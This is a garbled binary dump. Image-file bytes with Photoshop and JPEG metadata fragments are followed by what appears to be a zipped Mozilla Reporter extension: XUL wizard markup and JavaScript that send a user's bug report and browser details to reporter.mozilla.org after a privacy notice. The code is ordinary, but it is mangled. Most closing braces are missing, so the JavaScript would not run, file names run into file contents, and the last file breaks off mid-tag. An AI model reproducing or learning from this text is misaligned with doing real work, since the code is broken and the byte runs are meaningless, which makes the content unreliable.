s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
